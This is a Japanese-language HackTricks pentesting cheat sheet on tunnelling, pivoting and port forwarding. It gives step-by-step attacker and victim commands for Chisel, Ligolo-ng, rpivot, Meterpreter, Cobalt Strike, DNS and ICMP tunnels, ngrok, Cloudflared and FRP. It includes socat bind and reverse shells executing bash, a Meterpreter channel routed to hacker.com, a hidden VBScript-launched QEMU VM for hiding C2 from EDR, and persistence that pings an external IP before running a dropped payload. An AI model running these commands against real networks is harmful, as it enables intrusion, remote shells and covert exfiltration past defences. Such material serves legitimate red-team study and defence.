トンネリングとポートフォワーディング

Reading time: 31 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！
**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。

Nmapのヒント

warning

ICMPおよびSYNスキャンはソックスプロキシを通じてトンネリングできないため、pingディスカバリーを無効にする必要があります（-Pn）およびTCPスキャン（-sT）を指定する必要があります。

Bash

ホスト -> ジャンプ -> InternalA -> InternalB

bash

# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump

セキュリティ – テラピン攻撃 (CVE-2023-48795) 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、任意の転送チャネル（ -L, -R, -D ）にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください（OpenSSH ≥ 9.6/LibreSSH 6.7）または、SSHトンネルに依存する前に、脆弱な chacha20-poly1305@openssh.com および *-etm@openssh.com アルゴリズムを sshd_config/ssh_config で明示的に無効にしてください。

SSHUTTLE

ssh を介してホストを通じて サブネットワーク への トラフィック をすべて トンネル できます。
例えば、10.10.10.0/24 へのすべてのトラフィックを転送すること。

bash

pip install sshuttle
sshuttle -r user@host 10.10.10.10/24

プライベートキーで接続する

bash

sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

Meterpreter

Port2Port

ローカルポート --> 侵害されたホスト (アクティブセッション) --> 第三のボックス:ポート

bash

# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>

SOCKS

bash

background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

別の方法：

bash

background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKSプロキシ

チームサーバーでポートを開き、ビコーンを通じてトラフィックをルーティングするために使用できるすべてのインターフェースでリッスンします。

bash

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

rPort2Port

warning

この場合、ポートはビーコーンホストで開かれます。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。

bash

rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]

注意:

Beaconのリバースポートフォワードは、個々のマシン間の中継ではなく、Team Serverへのトラフィックをトンネリングするために設計されています。
トラフィックはBeaconのC2トラフィック内でトンネリングされ、P2Pリンクを含みます。
管理者権限は必要ありません 高ポートでリバースポートフォワードを作成するために。

rPort2Port ローカル

warning

この場合、ポートはbeaconホストで開かれ、Team Serverではなく、トラフィックはCobalt Strikeクライアントに送信され（Team Serverではなく）、そこから指定されたホスト:ポートに送信されます。

bash

rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]

reGeorg

https://github.com/sensepost/reGeorg

ウェブファイルトンネルをアップロードする必要があります: ashx|aspx|js|jsp|php|php|jsp

bash

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Chisel

https://github.com/jpillora/chiselのリリースページからダウンロードできます。
クライアントとサーバーで同じバージョンを使用する必要があります。

socks

bash

./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)

./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker

ポートフォワーディング

bash

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim

Ligolo-ng

https://github.com/nicocha30/ligolo-ng

エージェントとプロキシに同じバージョンを使用してください

トンネリング

bash

# Start proxy server and automatically generate self-signed TLS certificates -- Attacker
sudo ./proxy -selfcert
# Create an interface named "ligolo" -- Attacker
interface_create --name "ligolo"
# Print the currently used certificate fingerprint -- Attacker
certificate_fingerprint
# Start the agent with certification validation -- Victim
./agent -connect <ip_proxy>:11601 -v -accept-fingerprint <fingerprint>
# Select the agent -- Attacker
session
1
# Start the tunnel on the proxy server -- Attacker
tunnel_start --tun "ligolo"
# Display the agent's network configuration -- Attacker
ifconfig
# Create a route to the agent's specified network -- Attacker
interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_agent>
# Display the tun interfaces -- Attacker
interface_list

エージェントバインディングとリスニング

bash

# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
# Display the currently running listeners on the agent -- Attacker
listener_list

エージェントのローカルポートにアクセスする

bash

# Establish a tunnel from the proxy server to the agent
# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker
interface_add_route --name "ligolo" --route 240.0.0.1/32

Rpivot

https://github.com/klsecservices/rpivot

リバーストンネル。トンネルは被害者から開始されます。
127.0.0.1:1080にsocks4プロキシが作成されます。

bash

attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

bash

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999

NTLMプロキシを介してピボットする

bash

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd

bash

victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

https://github.com/andrew-d/static-binaries

バインドシェル

bash

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

リバースシェル

bash

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port2Port

bash

socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port through socks

bash

socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

MeterpreterをSSL Socat経由で

bash

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333

bash

victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter

非認証プロキシをバイパスするには、被害者のコンソールで最後の行の代わりにこの行を実行します:

bash

OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5

https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/

SSL Socat トンネル

/bin/sh コンソール

クライアントとサーバーの両方で証明書を作成します。

bash

# Execute these commands on both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem

bash

attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

ローカルSSHポート（22）を攻撃者ホストの443ポートに接続します。

bash

attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim

Plink.exe

これはコンソール版のPuTTYのようなもので（オプションはsshクライアントに非常に似ています）、

このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには：

bash

echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090

Windows netsh

Port2Port

ローカル管理者である必要があります（任意のポートについて）

bash

netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444

SocksOverRDP & Proxifier

RDPアクセスが必要です。
ダウンロード:

SocksOverRDP x64 Binaries - このツールは、Windowsのリモートデスクトップサービス機能からのDynamic Virtual Channels（DVC）を使用します。DVCはRDP接続を介してパケットをトンネリングする役割を担っています。
Proxifier Portable Binary

クライアントコンピュータで**SocksOverRDP-Plugin.dll**を次のようにロードします:

bash

# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll

今、私たちは mstsc.exe を使用して RDP 経由で victim に接続でき、SocksOverRDP プラグインが有効である という プロンプト が表示され、127.0.0.1:1080 で リッスン することになります。

RDP 経由で接続し、victim マシンに SocksOverRDP-Server.exe バイナリをアップロードして実行します:

C:\SocksOverRDP-x64> SocksOverRDP-Server.exe

攻撃者のマシンでポート1080がリッスンしていることを確認します:

netstat -antb | findstr 1080

今、Proxifier を使用して、そのポートを通じてトラフィックをプロキシできます。

Windows GUIアプリをプロキシ化する

Proxifierを使用して、Windows GUIアプリをプロキシ経由でナビゲートさせることができます。
Profile -> Proxy Servers でSOCKSサーバーのIPとポートを追加します。
Profile -> Proxification Rules でプロキシ化するプログラムの名前と、プロキシ化したいIPへの接続を追加します。

NTLMプロキシバイパス

前述のツール: Rpivot
OpenVPN もこれをバイパスでき、設定ファイルにこれらのオプションを設定します:

bash

http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

Cntlm

http://cntlm.sourceforge.net/

プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを通じてお好みのツールを使用できます。
例えば、ポート443を転送します。

Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443

今、例えば被害者のSSHサービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を通じて接続できます。
また、meterpreterを使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることも可能です。

YARP

Microsoftによって作成されたリバースプロキシです。ここで見つけることができます: https://github.com/microsoft/reverse-proxy

DNSトンネリング

Iodine

https://code.kryo.se/iodine/

両方のシステムでルート権限が必要で、DNSクエリを使用してトンネルアダプタを作成し、データをそれらの間でトンネルします。

attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2

トンネルは非常に遅くなります。このトンネルを通じて圧縮されたSSH接続を作成するには、次のようにします:

ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

ここからダウンロード.

DNSを通じてC&Cチャネルを確立します。ルート権限は必要ありません。

bash

attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com

# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353

PowerShellで

dnscat2-powershellを使用して、PowerShellでdnscat2クライアントを実行できます:

Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

dnscatを使用したポートフォワーディング

bash

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host

プロキシチェインのDNSを変更する

Proxychainsはgethostbyname libcコールをインターセプトし、TCP DNSリクエストをソックスプロキシを通してトンネリングします。デフォルトでは、proxychainsが使用するDNSサーバーは4.2.2.2（ハードコーディングされています）。これを変更するには、ファイルを編集します: /usr/lib/proxychains3/proxyresolv そしてIPを変更します。Windows環境にいる場合は、ドメインコントローラーのIPを設定できます。

Goでのトンネル

https://github.com/hotnops/gtunnel

カスタムDNS TXT / HTTP JSON C2 (AK47C2)

Storm-2603アクターは、のみアウトバウンドDNSとプレーンHTTP POSTトラフィックを悪用する**デュアルチャネルC2（"AK47C2"）**を作成しました - 企業ネットワークでブロックされることがほとんどない2つのプロトコルです。

DNSモード (AK47DNS) • ランダムな5文字のSessionID（例: H4T14）を生成します。
• タスクリクエストには1を、結果には2を前置きし、異なるフィールド（フラグ、SessionID、コンピュータ名）を連結します。
• 各フィールドはASCIIキーVHBD@HでXOR暗号化され、16進数エンコードされ、ドットで結合されます - 最後に攻撃者が制御するドメインで終わります:

text

<1|2><SessionID>.a<SessionID>.<Computer>.update.updatemicfosoft.com

• リクエストはTXT（およびフォールバックMG）レコードのためにDnsQuery()を使用します。
• 応答が0xFFバイトを超えると、バックドアはデータを63バイトの部分にフラグメントし、マーカーを挿入します:
s<SessionID>t<TOTAL>p<POS> これによりC2サーバーはそれらを再順序付けできます。

HTTPモード (AK47HTTP) • JSONエンベロープを構築します:

json

{"cmd":"","cmd_id":"","fqdn":"<host>","result":"","type":"task"}

• 全体のブロブはXOR-VHBD@H → 16進数 → **POST /**のボディとして送信され、ヘッダーはContent-Type: text/plainです。
• 応答は同じエンコーディングに従い、cmdフィールドはcmd.exe /c <command> 2>&1で実行されます。

ブルーチームのメモ • 最初のラベルが長い16進数で、常に1つの珍しいドメインで終わる異常なTXTクエリを探します。
• 定数XORキーの後にASCII-16進数が続くのはYARAで簡単に検出できます: 6?56484244?484（16進数でVHBD@H）。
• HTTPの場合、純粋な16進数で2バイトの倍数であるtext/plain POSTボディをフラグします。

{{#note}} 全体のチャネルは標準RFC準拠のクエリ内に収まり、各サブドメインラベルを63バイト未満に保つため、ほとんどのDNSログでステルス性を保ちます。 {{#endnote}}

ICMPトンネリング

Hans

https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel

ルートは、ICMPエコーリクエストを使用してトンネルアダプタを作成し、データをそれらの間でトンネリングするために両方のシステムで必要です。

bash

./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100

ptunnel-ng

ここからダウンロード。

bash

# Generate it
sudo ./autogen.sh

# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

ngrok

ngrok は、1つのコマンドラインでソリューションをインターネットに公開するためのツールです。
公開URIは次のようになります: UID.ngrok.io

インストール

アカウントを作成: https://ngrok.com/signup
クライアントのダウンロード:

bash

tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

基本的な使用法

ドキュメント: https://ngrok.com/docs/getting-started/.

必要に応じて、認証とTLSを追加することも可能です。

TCPトンネリング

bash

# Pointing to 0.0.0.0:4444
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

HTTPを使用してファイルを公開する

bash

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

HTTPコールのスニッフィング

XSS、SSRF、SSTI ... に役立ちます。
stdoutから直接、またはHTTPインターフェース http://127.0.0.1:4040 で。

内部HTTPサービスのトンネリング

bash

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

ngrok.yaml シンプルな設定例

3つのトンネルを開きます：

2つのTCP
/tmp/httpbin/ からの静的ファイルの公開を伴う1つのHTTP

yaml

tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/

Cloudflared (Cloudflare Tunnel)

Cloudflareのcloudflaredデーモンは、ローカルTCP/UDPサービスを公開するアウトバウンドトンネルを作成でき、インバウンドファイアウォールルールを必要とせず、Cloudflareのエッジを待ち合わせポイントとして使用します。これは、出口ファイアウォールがHTTPSトラフィックのみを許可し、インバウンド接続がブロックされている場合に非常に便利です。

Quick tunnel one-liner

bash

# Expose a local web service listening on 8080
cloudflared tunnel --url http://localhost:8080
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080

SOCKS5 ピボット

bash

# Turn the tunnel into a SOCKS5 proxy on port 1080
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Now configure proxychains to use 127.0.0.1:1080

DNSを使用した永続的トンネル

bash

cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
# config.yml
Tunnel: <TUNNEL-UUID>
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
url: http://127.0.0.1:8000

コネクタを開始します:

bash

cloudflared tunnel run mytunnel

すべてのトラフィックがホストから443経由でアウトバウンドで出るため、Cloudflaredトンネルは、インバウンドACLやNAT境界をバイパスする簡単な方法です。バイナリは通常、特権昇格された状態で実行されるため、可能な場合はコンテナや--userフラグを使用してください。

FRP (Fast Reverse Proxy)

frpは、TCP、UDP、HTTP/S、SOCKS、P2P NATホールパンチングをサポートする、アクティブにメンテナンスされているGoリバースプロキシです。**v0.53.0 (2024年5月)**から、SSHトンネルゲートウェイとして機能できるため、ターゲットホストは追加のバイナリなしで、標準のOpenSSHクライアントのみを使用してリバーストンネルを立ち上げることができます。

クラシックリバースTCPトンネル

bash

# Attacker / server
./frps -c frps.toml            # listens on 0.0.0.0:7000

# Victim
./frpc -c frpc.toml            # will expose 127.0.0.1:3389 on frps:5000

# frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000

[[proxies]]
name       = "rdp"
type       = "tcp"
localIP    = "127.0.0.1"
localPort  = 3389
remotePort = 5000

新しいSSHゲートウェイの使用（frpcバイナリなし）

bash

# On frps (attacker)
sshTunnelGateway.bindPort = 2200   # add to frps.toml
./frps -c frps.toml

# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000

上記のコマンドは、被害者のポート 8080 を attacker_ip:9000 として公開し、追加のツールを展開することなく実行します – ライビングオフザランドのピボッティングに最適です。

QEMUを使用した隠密VMベースのトンネル

QEMUのユーザーモードネットワーキング（-netdev user）は、hostfwdと呼ばれるオプションをサポートしており、ホスト上のTCP/UDPポートをバインドし、それをゲストに転送します。ゲストが完全なSSHデーモンを実行している場合、hostfwdルールは、エフェメラルVM内に完全に存在する使い捨てSSHジャンプボックスを提供します – すべての悪意のある活動とファイルが仮想ディスク内に留まるため、EDRからC2トラフィックを隠すのに最適です。

クイックワンライナー

powershell

# Windows victim (no admin rights, no driver install – portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic

• 上記のコマンドは、Tiny Core Linux イメージ (tc.qcow2) を RAM に起動します。
• Windows ホストのポート 2222/tcp は、ゲスト内の 22/tcp に透過的に転送されます。
• 攻撃者の視点から見ると、ターゲットは単にポート 2222 を公開しており、そこに到達するパケットは VM 内で実行されている SSH サーバーによって処理されます。

VBScript を使用してステルスに起動する

' update.vbs – lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0

cscript.exe //B update.vbsを実行すると、ウィンドウが隠れたままになります。

ゲスト内の持続性

Tiny Coreはステートレスであるため、攻撃者は通常次のようにします：

ペイロードを/opt/123.outにドロップします。
/opt/bootlocal.shに追加します：

while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out

ペイロードがシャットダウン時にmydata.tgzにパックされるように、home/tcとoptを/opt/filetool.lstに追加します。

サブスクリプションプランを確認してください！
**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。